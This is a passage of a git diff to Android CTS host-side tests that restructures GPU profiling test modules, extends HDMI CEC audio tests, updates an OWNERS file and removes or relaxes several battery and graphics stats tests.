+    name: "ctsgraphicsgpucountersinit",
     srcs: [
-        "android_graphics_cts_GpuProfilingData.cpp",
+        "android_graphics_cts_GpuCounters.cpp",
     ],
-    test_suites: ["cts"],
+    test_suites: ["cts", "general-tests"],
     compile_multilib: "both",
     multilib: {
         lib32: {
@@ -34,9 +34,44 @@
     shared_libs: [
         "libdl",
         "libandroid",
-        "libvulkan",
         "liblog",
     ],
     stl: "c++_static",
     sdk_version: "current",
 }
+
+cc_test_library {
+    name: "libctsgraphicsgpuprofiling_jni",
+    gtest: false,
+    srcs: [
+        "jni/CtsGraphicsProfilingDataJniOnLoad.cpp",
+        "jni/android_graphics_cts_GpuRenderStages.cpp",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGraphicsProfilingDataApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts", "general-tests"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libctsgraphicsgpuprofiling_jni",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
new file mode 100644
index 0000000..da58bef
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.graphics.gpuprofiling.app">
+    <application android:extractNativeLibs="true" android:debuggable="true">
+        <activity android:name=".GpuRenderStagesDeviceActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
new file mode 100644
index 0000000..c710d4f
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "GpuProfilingData"
+
+#include <chrono>
+#include <csignal>
+#include <string>
+#include <thread>
+#include <unistd.h>
+#include <vector>
+
+#include <android/log.h>
+#include <dlfcn.h>
+
+#define ALOGI(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGE(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGD(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, (msg), __VA_ARGS__)
+#define REQUIRE_SUCCESS(fn, name)                                              \
+  do {                                                                         \
+    if (VK_SUCCESS != fn) {                                                    \
+      ALOGE("Vulkan Error in %s", name);                                       \
+      return -1;                                                               \
+    }                                                                          \
+  } while (0)
+
+namespace {
+
+typedef void (*FN_PTR)(void);
+
+/**
+ * Load the vendor provided counter producer library.
+ * startCounterProducer is a thin rewrite of the same producer loading logic in
+ * github.com/google/agi
+ */
+
+int startCounterProducer() {
+  ALOGI("%s", "Loading producer library");
+  char *error;
+  std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
+  std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
+
+  ALOGI("Trying %s", producerPath.c_str());
+  void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
+  if ((error = dlerror()) != nullptr || handle == nullptr) {
+    ALOGE("Error loading lib: %s", error);
+    return -1;
+  }
+
+  FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
+  if ((error = dlerror()) != nullptr) {
+    ALOGE("Error looking for start symbol: %s", error);
+    dlclose(handle);
+    return -1;
+  }
+
+  if (startFunc == nullptr) {
+    ALOGE("Did not find the producer library %s", producerPath.c_str());
+    ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
+    return -1;
+  }
+
+  ALOGI("Calling start at %p", startFunc);
+  (*startFunc)();
+  ALOGI("Producer %s has exited.", producerPath.c_str());
+  dlclose(handle);
+  return 0;
+}
+
+volatile std::sig_atomic_t done = 0;
+
+} // anonymous namespace
+
+int main() {
+  std::signal(SIGTERM, [](int /*signal*/) {
+    ALOGI("%s", "SIGTERM received");
+    done = 1;
+  });
+  std::thread dummy([&]() {
+    int result = startCounterProducer();
+    ALOGI("%s %d", "startCounterProducer returned", result);
+  });
+  ALOGI("%s", "Waiting for host");
+  while (!done) {
+    std::this_thread::sleep_for(std::chrono::milliseconds(100));
+  }
+  return 0;
+}
diff --git a/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
new file mode 100644
index 0000000..5948ff8
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_gputools_cts_GpuProfilingData(JNIEnv *);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+  JNIEnv *env = nullptr;
+  if (vm->GetEnv((void **)&env, JNI_VERSION_1_4) != JNI_OK)
+    return JNI_ERR;
+  if (register_android_gputools_cts_GpuProfilingData(env))
+    return JNI_ERR;
+  return JNI_VERSION_1_4;
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
similarity index 70%
rename from hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
rename to hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
index 19439c0..e0d49c0 100644
--- a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
@@ -17,15 +17,12 @@
 
 #define LOG_TAG "GpuProfilingData"
 
-#include <chrono>
-#include <csignal>
-#include <string>
-#include <thread>
-#include <unistd.h>
 #include <vector>
 
 #include <android/log.h>
 #include <dlfcn.h>
+#include <jni.h>
+#include <string>
 #include <vulkan/vulkan.h>
 
 #define ALOGI(msg, ...)                                                        \
@@ -46,48 +43,7 @@
 
 typedef void (*FN_PTR)(void);
 
-/**
- * Load the vendor provided counter producer library.
- * startCounterProducer is a thin rewrite of the same producer loading logic in
- * github.com/google/agi
- */
-
-int startCounterProducer() {
-  ALOGI("%s", "Loading producer library");
-  char *error;
-  std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
-  std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
-
-  ALOGI("Trying %s", producerPath.c_str());
-  void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
-  if ((error = dlerror()) != nullptr || handle == nullptr) {
-    ALOGE("Error loading lib: %s", error);
-    return -1;
-  }
-
-  FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
-  if ((error = dlerror()) != nullptr) {
-    ALOGE("Error looking for start symbol: %s", error);
-    dlclose(handle);
-    return -1;
-  }
-
-  if (startFunc == nullptr) {
-    ALOGE("Did not find the producer library %s", producerPath.c_str());
-    ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
-    return -1;
-  }
-
-  ALOGI("Calling start at %p", startFunc);
-  (*startFunc)();
-  ALOGI("Producer %s has exited.", producerPath.c_str());
-  dlclose(handle);
-  return 0;
-}
-
-int initVulkan(VkDevice &device) {
-  std::string result = "";
-
+int initVulkan() {
   const VkApplicationInfo appInfo = {
       VK_STRUCTURE_TYPE_APPLICATION_INFO,
       nullptr,            // pNext
@@ -171,34 +127,27 @@
       nullptr,
   };
 
+  VkDevice device;
+
   REQUIRE_SUCCESS(
       vkCreateDevice(physicalDevice, &deviceCreateInfo, nullptr, &device),
       "vkCreateDevice");
-
   return 0;
 }
 
-volatile std::sig_atomic_t done = 0;
+jint android_graphics_cts_GpuProfilingData_nativeInitVulkan(JNIEnv * /*env*/,
+                                                            jclass /*clazz*/) {
+  return (jint)initVulkan();
+}
 
+static JNINativeMethod gMethods[] = {
+    {"nativeInitVulkan", "()I",
+     (void *)android_graphics_cts_GpuProfilingData_nativeInitVulkan}};
 } // anonymous namespace
 
-int main() {
-  ALOGI("%s", "Creating Vulkan device");
-  VkDevice device;
-  std::signal(SIGTERM, [](int /*signal*/) {
-    ALOGI("%s", "SIGTERM received");
-    done = 1;
-  });
-  int result = initVulkan(device);
-  ALOGI("%s %d", "initVulkan returned", result);
-  std::thread dummy([&]() {
-    result = startCounterProducer();
-    ALOGI("%s %d", "startCounterProducer returned", result);
-  });
-  ALOGI("%s", "Waiting for host");
-  while (!done) {
-    std::this_thread::sleep_for(std::chrono::milliseconds(100));
-  }
-  vkDestroyDevice(device, nullptr);
-  return 0;
-}
+int register_android_gputools_cts_GpuProfilingData(JNIEnv *env) {
+  jclass clazz = env->FindClass(
+      "android/graphics/gpuprofiling/app/GpuRenderStagesDeviceActivity");
+  return env->RegisterNatives(clazz, gMethods,
+                              sizeof(gMethods) / sizeof(JNINativeMethod));
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
new file mode 100644
index 0000000..e6bd660
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.gpuprofiling.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+public class GpuRenderStagesDeviceActivity extends Activity {
+
+    static {
+        System.loadLibrary("ctsgraphicsgpuprofiling_jni");
+    }
+
+    private static final String TAG = GpuRenderStagesDeviceActivity.class.getSimpleName();
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        int result = nativeInitVulkan();
+        Log.i(TAG, "nativeInitVulkan returned: " + result);
+        Log.i(TAG, "GpuProfilingData activity complete");
+    }
+
+    private static native int nativeInitVulkan();
+}
diff --git a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
index ff33375..f5654cd 100644
--- a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
+++ b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
@@ -17,6 +17,7 @@
 package android.graphics.gpuprofiling.cts;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.CommandResult;
@@ -46,11 +47,16 @@
     // Positive tests
     // - Ensure the perfetto producers for render stages, counters, and ftrace gpu frequency are available
 
-    private static final String BIN_NAME = "ctsgraphicsgpuprofilinginit";
+    private static final String BIN_NAME = "ctsgraphicsgpucountersinit";
     private static final String DEVICE_BIN_PATH = "/data/local/tmp/" + BIN_NAME;
+    private static final String APP = "android.graphics.gpuprofiling.app";
+    private static final String APK = "CtsGraphicsProfilingDataApp.apk";
+    private static final String ACTIVITY = "GpuRenderStagesDeviceActivity";
     private static final String COUNTERS_SOURCE_NAME = "gpu.counters";
     private static final String STAGES_SOURCE_NAME = "gpu.renderstages";
-    private static final String PROFILING_PROPERTY = "ro.hardware.gpu.profiler.support";
+    private static final String PROFILING_PROPERTY = "graphics.gpu.profiler.support";
+    private static final String LAYER_PACKAGE_PROPERTY = "graphics.gpu.profiler.vulkan_layer_apk";
+    private static final String LAYER_NAME = "VkRenderStagesProducer";
     private static int MAX_RETRIES = 5;
 
     private class ShellThread extends Thread {
@@ -65,28 +71,40 @@
         @Override
         public void run() {
             try {
-                CommandResult activityStatus = getDevice().executeShellV2Command(mCmd);
+                getDevice().executeShellV2Command(mCmd);
             } catch (Exception e) {
-                // TODO Do something here?
+                CLog.e("Failed to start counters producer" + e.getMessage());
             }
         }
     }
 
     /**
-     * Kill the native process after each test
+     * Kill the native process and remove the layer related settings after each test
      */
     @After
     public void cleanup() throws Exception {
-        // TODO figure out how to unregister the producers
         getDevice().executeShellV2Command("killall " + BIN_NAME);
+        getDevice().executeShellV2Command("am force-stop " + APP);
+        getDevice().executeShellV2Command("settings delete global gpu_debug_layers");
+        getDevice().executeShellV2Command("settings delete global enable_gpu_debug_layers");
+        getDevice().executeShellV2Command("settings delete global gpu_debug_app");
+        getDevice().executeShellV2Command("settings delete global gpu_debug_layer_app");
     }
 
     /**
-     * Clean up before starting any tests.
+     * Clean up before starting any tests. Apply the necessary layer settings if we need them
      */
     @Before
     public void init() throws Exception {
         cleanup();
+        String layerApp = getDevice().getProperty(LAYER_PACKAGE_PROPERTY);
+        if (layerApp != null && !layerApp.isEmpty()) {
+            getDevice().executeShellV2Command("settings put global enable_gpu_debug_layers 1");
+            getDevice().executeShellV2Command("settings put global gpu_debug_app " + APP);
+            getDevice().executeShellV2Command("settings put global gpu_debug_layer_app " + layerApp);
+            getDevice().executeShellV2Command("settings put global gpu_debug_layers " + LAYER_NAME);
+        }
+        installPackage(APK);
     }
 
     /**
@@ -100,6 +118,7 @@
             // Spin up a new thread to avoid blocking the main thread while the native process waits to be killed.
             ShellThread shellThread = new ShellThread(DEVICE_BIN_PATH);
             shellThread.start();
+            CommandResult activityStatus = getDevice().executeShellV2Command("am start -n " + APP + "/." + ACTIVITY);
             boolean countersSourceFound = false;
             boolean stagesSourceFound = false;
             for(int i = 0; i < MAX_RETRIES; i++) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 6437ec0..8d4ece1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -67,4 +67,15 @@
     private CecMessage(int messageId) {
         this.messageId = messageId;
     }
+
+    public static String formatParams(long rawParam) {
+        StringBuilder params = new StringBuilder("");
+
+        do {
+            params.insert(0, ":" + String.format("%02x", rawParam % 256));
+            rawParam >>= 8;
+        } while (rawParam > 0);
+
+        return params.toString();
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 3ac2e5f..5162a27 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -64,6 +64,8 @@
     @Test
     public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+                CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
         device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
         String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
                 CecMessage.USER_CONTROL_PRESSED);
@@ -89,7 +91,9 @@
     @Test
     public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
         ITestDevice device = getDevice();
-        device.executeShellCommand("input keyevent KEYCODE_MUTE");
+        hdmiCecClient.sendCecMessage(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST,
+                CecMessage.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
         String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
                 CecMessage.USER_CONTROL_PRESSED);
         assertEquals(HdmiCecConstants.CEC_CONTROL_MUTE,
diff --git a/hostsidetests/incident/OWNERS b/hostsidetests/incident/OWNERS
index c8e4578..37c0932 100644
--- a/hostsidetests/incident/OWNERS
+++ b/hostsidetests/incident/OWNERS
@@ -1,7 +1,13 @@
 # Bug component: 329246
+jeffreyhuang@google.com
 joeo@google.com
 jreck@google.com
 kwekua@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+tsaichristine@google.com
 yamasani@google.com
 yanmin@google.com
+yro@google.com
 zhouwenjie@google.com
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 27d4d22..ce6f04e 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -146,43 +146,11 @@
         batteryOffScreenOn();
     }
 
-    public void testWakeLockDuration() throws Exception {
-        batteryOnScreenOff();
-
-        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
-                "testHoldShortWakeLock");
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
-                "testHoldLongWakeLock");
-
-        assertValueRange("wl", "BSShortWakeLock", 15, (long) (500 * 0.9), 500 * 2); // partial max duration
-        assertValueRange("wl", "BSLongWakeLock", 15, (long) (3000 * 0.9), 3000 * 2);  // partial max duration
-
-        batteryOffScreenOn();
-    }
-
     private void startSimpleActivity() throws Exception {
         getDevice().executeShellCommand(
                 "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
     }
 
-    public void testServiceForegroundDuration() throws Exception {
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-
-        startSimpleActivity();
-        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, 0,
-                0); // No foreground service time before test
-        final long startTime = System.nanoTime();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsProcessStateTests",
-                "testForegroundService");
-        assertValueRange("st", "", STATE_TIME_FOREGROUND_SERVICE_INDEX, (long) (2000 * 0.8),
-                (System.nanoTime() - startTime) / 1000000);
-        batteryOffScreenOn();
-    }
-
     public void testUidForegroundDuration() throws Exception {
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -268,154 +236,6 @@
         assertTrue("Screen could not be turned on", screenAwake);
     }
 
-    public void testBleScans() throws Exception {
-        if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
-            return;
-        }
-
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        turnScreenOnForReal();
-        assertScreenOn();
-
-        // Background test.
-        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
-        assertValueRange("blem", "", 5, 1, 1); // ble_scan_count
-        assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
-
-        // Foreground test.
-        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
-        assertValueRange("blem", "", 5, 2, 2); // ble_scan_count
-        assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
-
-        batteryOffScreenOn();
-    }
-
-
-    public void testUnoptimizedBleScans() throws Exception {
-        if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
-            return;
-        }
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        turnScreenOnForReal();
-        assertScreenOn();
-        // Ble scan time in BatteryStatsBgVsFgActions is 2 seconds, but be lenient.
-        final int minTime = 1500; // min single scan time in ms
-        final int maxTime = 3000; // max single scan time in ms
-
-        // Optimized - Background.
-        executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 40_000);
-        assertValueRange("blem", "", 7, 1*minTime, 1*maxTime); // actualTime
-        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
-        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
-        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
-        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
-        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
-
-        // Optimized - Foreground.
-        executeForeground(ACTION_BLE_SCAN_OPTIMIZED, 40_000);
-        assertValueRange("blem", "", 7, 2*minTime, 2*maxTime); // actualTime
-        assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
-        assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
-        assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
-        assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
-        assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
-
-        // Unoptimized - Background.
-        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
-        assertValueRange("blem", "", 7, 3*minTime, 3*maxTime); // actualTime
-        assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
-        assertValueRange("blem", "", 11, 1*minTime, 1*maxTime); // unoptimizedScanTotalTime
-        assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
-        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
-        assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
-
-        // Unoptimized - Foreground.
-        executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
-        assertValueRange("blem", "", 7, 4*minTime, 4*maxTime); // actualTime
-        assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
-        assertValueRange("blem", "", 11, 2*minTime, 2*maxTime); // unoptimizedScanTotalTime
-        assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
-        assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
-        assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
-
-        batteryOffScreenOn();
-    }
-
-    public void testJobBgVsFg() throws Exception {
-        if (noBattery()) {
-            return;
-        }
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        turnScreenOnForReal();
-        assertScreenOn();
-        allowImmediateSyncs();
-
-        // Background test.
-        executeBackground(ACTION_JOB_SCHEDULE, 60_000);
-        assertValueRange("jb", "", 6, 1, 1); // count
-        assertValueRange("jb", "", 8, 1, 1); // background_count
-
-        // Foreground test.
-        executeForeground(ACTION_JOB_SCHEDULE, 60_000);
-        assertValueRange("jb", "", 6, 2, 2); // count
-        assertValueRange("jb", "", 8, 1, 1); // background_count
-
-        batteryOffScreenOn();
-    }
-
-    public void testSyncBgVsFg() throws Exception {
-        if (noBattery()) {
-            return;
-        }
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        turnScreenOnForReal();
-        assertScreenOn();
-        allowImmediateSyncs();
-
-        // Background test.
-        executeBackground(ACTION_SYNC, 60_000);
-        // Allow one or two syncs in this time frame (not just one) due to unpredictable syncs.
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 1, 2); // count
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 8, 1, 2); // background_count
-
-        // Foreground test.
-        executeForeground(ACTION_SYNC, 60_000);
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 2, 4); // count
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 8, 1, 2); // background_count
-
-        batteryOffScreenOn();
-    }
-
-    /**
-     * Tests whether the on-battery realtime and total realtime values
-     * are properly updated in battery stats.
-     */
-    public void testRealtime() throws Exception {
-        batteryOnScreenOff();
-        long startingValueRealtime = getLongValue(0, "bt", "", 7);
-        long startingValueBatteryRealtime = getLongValue(0, "bt", "", 5);
-        // After going on battery
-        Thread.sleep(2000);
-        batteryOffScreenOn();
-        // After going off battery
-        Thread.sleep(2000);
-
-        long currentValueRealtime = getLongValue(0, "bt", "", 7);
-        long currentValueBatteryRealtime = getLongValue(0, "bt", "", 5);
-
-        // Total realtime increase should be 4000ms at least
-        assertTrue(currentValueRealtime >= startingValueRealtime + 4000);
-        // But not too much more
-        assertTrue(currentValueRealtime < startingValueRealtime + 6000);
-        // Battery on realtime should be more than 2000 but less than 4000
-        assertTrue(currentValueBatteryRealtime >= startingValueBatteryRealtime + 2000);
-        assertTrue(currentValueBatteryRealtime < startingValueBatteryRealtime + 4000);
-    }
-
     /**
      * Tests the total duration reported for jobs run on the job scheduler.
      */
@@ -434,26 +254,6 @@
         batteryOffScreenOn();
     }
 
-    /**
-     * Tests the total duration and # of syncs reported for sync activities.
-     */
-    public void testSyncs() throws Exception {
-        batteryOnScreenOff();
-
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        allowImmediateSyncs();
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsSyncTest", "testRunSyncs");
-
-        // First, check the count, which should be 10.
-        // (It could be 11, if the initial sync actually happened before getting cancelled.)
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 6, 10L, 11L);
-
-        // Should be approximately, but at least 10 seconds. Use 2x as the upper
-        // bounds to account for possible errors due to thread scheduling and cpu load.
-        assertValueRange("sy", DEVICE_SIDE_SYNC_COMPONENT, 5, 10000, 10000 * 2);
-    }
-
     private int getUid() throws Exception {
         String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
                 + DEVICE_SIDE_TEST_PACKAGE);
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 843531d..1e0a215 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -101,7 +101,7 @@
         // Although our current stats don't distinguish between ANIMATION, LAYOUT, and RECORD_DRAW
         // so this will just be slowUi +30
         int slowUiDelta = summaryAfter.getSlowUiThreadCount() - summaryBefore.getSlowUiThreadCount();
-        assertThat(slowUiDelta).isAtLeast(28);
+        assertThat(slowUiDelta).isAtLeast(20);
         int missedVsyncDelta = summaryAfter.getMissedVsyncCount()
                 - summaryBefore.getMissedVsyncCount();
         assertThat(missedVsyncDelta).isIn(Range.closed(10, 11));
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index 460181d0..f7dcec1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
